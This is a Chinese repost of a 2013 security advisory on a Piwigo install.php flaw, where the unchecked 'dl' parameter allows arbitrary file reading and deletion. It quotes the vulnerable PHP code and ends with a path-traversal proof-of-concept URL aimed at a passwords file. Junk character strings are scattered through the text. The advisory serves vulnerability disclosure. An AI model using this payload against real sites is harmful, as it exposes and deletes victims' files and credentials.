Piwigo任意文件泄露和任意文件删除漏洞

admin

Piwigo是用PHP编写的相册脚本。
. I3 C2 ?  v6 `# ~# d
) F% J( H: m% S3 e9 ZPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
0 T/ a! g6 I( A8 F====================================================================
5 r7 A/ W0 d# B: b, f7 Y/install.php:
-------------
( z3 G+ T% H& S4 c/ b0 B113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
' a+ Y6 K" t9 T, a3 ^116:   header('Cache-Control: no-cache, must-revalidate');
& y" k. c  P/ E. s/ |* j. C117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
& n3 N1 m, {2 W119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
. |/ D& O* [) G2 C; v4 W121:   echo file_get_contents($filename);
) T$ d+ N: |( A8 H3 [. |122:   unlink($filename);
4 d7 v) @4 t  p1 j4 Y6 h1 U+ a123:   exit();
124: }
0 h/ X$ b8 P! c. W# z5 H====================================================================

2 X! y+ b. m8 JTested on: Microsoft Windows 7 Ultimate SP1 (EN)
& F+ u" h8 l: M9 i           Apache 2.4.2 (Win32)
0 i8 Z5 J6 [, F# |           PHP 5.4.4
  N: k- l7 B1 \( r8 l; B: c           MySQL 5.5.25a
/ _+ G2 z. G" s) t+ x
- i, W4 Q0 Q/ y& L' R' {9 P6 \Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience
6 p% D' k' h6 {
7 B3 b: y# y: o3 z' _6 JAdvisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
% c* c7 J8 h; x0 \% tVendor Patch: http://piwigo.org/bugs/view.php?id=2843
# U+ L8 z$ x" k7 r1 p
# G5 U( h: r9 T8 u15.02.2013
7 ]; E* d! G; [! A" R3 K% q7 U, G5 }
--
' e0 D5 W2 }. s" t4 t: U$ D3 o. lhttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt

7 z( L0 G: L/ Q% _, |